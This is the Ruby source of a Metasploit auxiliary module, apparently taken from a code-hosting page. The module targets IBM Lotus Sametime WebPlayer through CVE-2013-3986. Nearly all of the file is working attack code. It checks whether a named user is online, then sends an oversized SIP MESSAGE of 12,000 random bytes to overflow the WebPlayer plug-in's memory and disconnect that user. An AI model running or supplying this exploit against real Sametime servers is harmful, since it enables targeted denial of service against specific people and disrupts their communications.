239 lines
7.4 KiB
Ruby
239 lines
7.4 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
include Msf::Exploit::Remote::Tcp
|
|
include Msf::Auxiliary::Dos
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'IBM Lotus Sametime WebPlayer DoS',
|
|
'Description' => %q{
|
|
This module exploits a known flaw in the IBM Lotus Sametime WebPlayer
|
|
version 8.5.2.1392 (and prior) to cause a denial of service condition
|
|
against specific users. For this module to function the target user
|
|
must be actively logged into the IBM Lotus Sametime server and have
|
|
the Sametime Audio Visual browser plug-in (WebPlayer) loaded as a
|
|
browser extension. The user should have the WebPlayer plug-in active
|
|
(i.e. be in a Sametime Audio/Video meeting for this DoS to work correctly.
|
|
},
|
|
'Author' => [
|
|
'Chris John Riley', # Vulnerability discovery
|
|
'kicks4kittens' # Metasploit module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Actions' => [
|
|
[
|
|
'DOS',
|
|
{
|
|
'Description' => 'Cause a Denial Of Service condition against a connected user'
|
|
}
|
|
],
|
|
[
|
|
'CHECK',
|
|
{
|
|
'Description' => 'Checking if targeted user is online'
|
|
}
|
|
]
|
|
],
|
|
'DefaultAction' => 'DOS',
|
|
'References' => [
|
|
[ 'CVE', '2013-3986' ],
|
|
[ 'OSVDB', '99552' ],
|
|
[ 'BID', '63611'],
|
|
[ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21654041' ],
|
|
[ 'URL', 'http://xforce.iss.net/xforce/xfdb/84969' ]
|
|
],
|
|
'DisclosureDate' => '2013-11-07',
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SERVICE_DOWN],
|
|
'SideEffects' => [],
|
|
'Reliability' => []
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(5060),
|
|
OptAddress.new('RHOST', [true, 'The Sametime Media Server']),
|
|
OptString.new('SIPURI', [
|
|
true,
|
|
'The SIP URI of the user to be targeted',
|
|
'<target_email_address>@<sametime_media_server_FQDN>'
|
|
]),
|
|
OptInt.new('TIMEOUT', [ true, 'Set specific response timeout', 0])
|
|
]
|
|
)
|
|
end
|
|
|
|
def setup
|
|
# cleanup SIP target to ensure it's in the correct format to use
|
|
@sipuri = datastore['SIPURI']
|
|
if @sipuri[0, 4].downcase == 'sip:'
|
|
# remove sip: if present in string
|
|
@sipuri = @sipuri[4, @sipuri.length]
|
|
end
|
|
if @sipuri[0, 12].downcase == 'webavclient-'
|
|
# remove WebAVClient- if present in string
|
|
@sipuri = @sipuri[12, @sipuri.length]
|
|
end
|
|
end
|
|
|
|
def run
|
|
# inform user of action currently selected
|
|
print_status("Action: #{action.name} selected")
|
|
|
|
# CHECK action
|
|
if action.name == 'CHECK'
|
|
print_status("Checking if user #{@sipuri} is online")
|
|
if check_user
|
|
print_good('User online')
|
|
else
|
|
print_status('User offline')
|
|
end
|
|
return
|
|
end
|
|
|
|
# DOS action
|
|
print_status("Checking if user #{@sipuri} is online")
|
|
check_result = check_user
|
|
|
|
if check_result == false
|
|
print_error('User is already offline... Exiting...')
|
|
return
|
|
end
|
|
|
|
# only proceed if action is DOS the target user is
|
|
# online or the CHECKUSER option has been disabled
|
|
print_status("Targeting user: #{@sipuri}...")
|
|
dos_result = dos_user
|
|
|
|
if dos_result
|
|
print_good('User is offline, DoS was successful')
|
|
else
|
|
print_error('User is still online')
|
|
end
|
|
end
|
|
|
|
def dos_user
|
|
length = 12000 # enough to overflow the end of allocated memory
|
|
msg = create_message(length)
|
|
res = send_msg(msg)
|
|
|
|
if res.nil?
|
|
vprint_good("User #{@sipuri} is no responding")
|
|
return true
|
|
elsif res =~ /430 Flow Failed/i
|
|
vprint_good('DoS packet successful. Response received (430 Flow Failed)')
|
|
vprint_good("User #{@sipuri} is no longer responding")
|
|
return true
|
|
elsif res =~ /404 Not Found/i
|
|
vprint_error('DoS packet appears successful. Response received (404 Not Found)')
|
|
vprint_status('User appears to be currently offline or not in a Sametime video session')
|
|
return true
|
|
elsif res =~ /200 OK/i
|
|
vrint_error("#{peer} - DoS packet unsuccessful. Response received (200)")
|
|
vrint_status("#{peer} - Check user is running an effected version of IBM Lotus Sametime WebPlayer")
|
|
return false
|
|
else
|
|
vprint_status('Unexpected response')
|
|
return true
|
|
end
|
|
end
|
|
|
|
# used to check the user is logged into Sametime and after DoS to check success
|
|
def check_user
|
|
length = Rex::Text.rand_text_numeric(2) # just enough to check response
|
|
msg = create_message(length)
|
|
res = send_msg(msg)
|
|
|
|
# check response for current user status - common return codes
|
|
if res.nil?
|
|
vprint_error('No response')
|
|
return false
|
|
elsif res =~ /430 Flow Failed/i
|
|
vprint_good("User #{@sipuri} is no longer responding (already DoS'd?)")
|
|
return false
|
|
elsif res =~ /404 Not Found/i
|
|
vprint_error("User #{@sipuri} is currently offline or not in a Sametime video session")
|
|
return false
|
|
elsif res =~ /200 OK/i
|
|
vprint_good("User #{@sipuri} is online")
|
|
return true
|
|
else
|
|
vprint_error('Unknown server response')
|
|
return false
|
|
end
|
|
end
|
|
|
|
def create_message(length)
|
|
# create SIP MESSAGE of specified length
|
|
vprint_status("Creating SIP MESSAGE packet #{length} bytes long")
|
|
|
|
source_user = Rex::Text.rand_text_alphanumeric(1..8)
|
|
source_host = Rex::Socket.source_address(datastore['RHOST'])
|
|
src = "#{source_host}:#{datastore['RPORT']}"
|
|
cseq = Rex::Text.rand_text_numeric(3)
|
|
message_text = Rex::Text.rand_text_alphanumeric(length.to_i)
|
|
branch = Rex::Text.rand_text_alphanumeric(7)
|
|
|
|
# setup SIP message in the correct format expected by the server
|
|
data = "MESSAGE sip:WebAVClient-#{@sipuri} SIP/2.0" + "\r\n"
|
|
data << "Via: SIP/2.0/TCP #{src};branch=#{branch}.#{'%.8x' % rand(0x100000000)};rport;alias" + "\r\n"
|
|
data << "Max-Forwards: 80\r\n"
|
|
data << "To: sip:WebAVClient-#{@sipuri}" + "\r\n"
|
|
data << "From: sip:#{source_user}@#{src};tag=70c00e8c" + "\r\n"
|
|
data << "Call-ID: #{rand(0x100000000)}@#{source_host}" + "\r\n"
|
|
data << "CSeq: #{cseq} MESSAGE" + "\r\n"
|
|
data << 'Content-Type: text/plain;charset=utf-8' + "\r\n"
|
|
data << "User-Agent: #{source_user}\r\n"
|
|
data << "Content-Length: #{message_text.length}" + "\r\n\r\n"
|
|
data << message_text
|
|
|
|
return data
|
|
end
|
|
|
|
def timing_get_once(sock, length)
|
|
timeout = datastore['TIMEOUT']
|
|
if timeout && timeout > 0
|
|
return sock.get_once(length, timeout)
|
|
else
|
|
return sock.get_once(length)
|
|
end
|
|
end
|
|
|
|
def send_msg(msg)
|
|
s = connect
|
|
# send message and store response
|
|
begin
|
|
s.put(msg + "\r\n\r\n")
|
|
rescue StandardError
|
|
nil
|
|
end
|
|
# read response
|
|
res = timing_get_once(s, 25)
|
|
if res == "\r\n"
|
|
# retry request
|
|
res = timing_get_once(s, 25)
|
|
end
|
|
return res
|
|
rescue ::Rex::ConnectionRefused
|
|
print_status('Unable to connect')
|
|
return nil
|
|
rescue ::Errno::ECONNRESET
|
|
print_good('DoS packet successful, host not responding.')
|
|
return nil
|
|
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
|
print_status("Couldn't connect")
|
|
return nil
|
|
ensure
|
|
# disconnect socket if still open
|
|
disconnect if s
|
|
end
|
|
end
|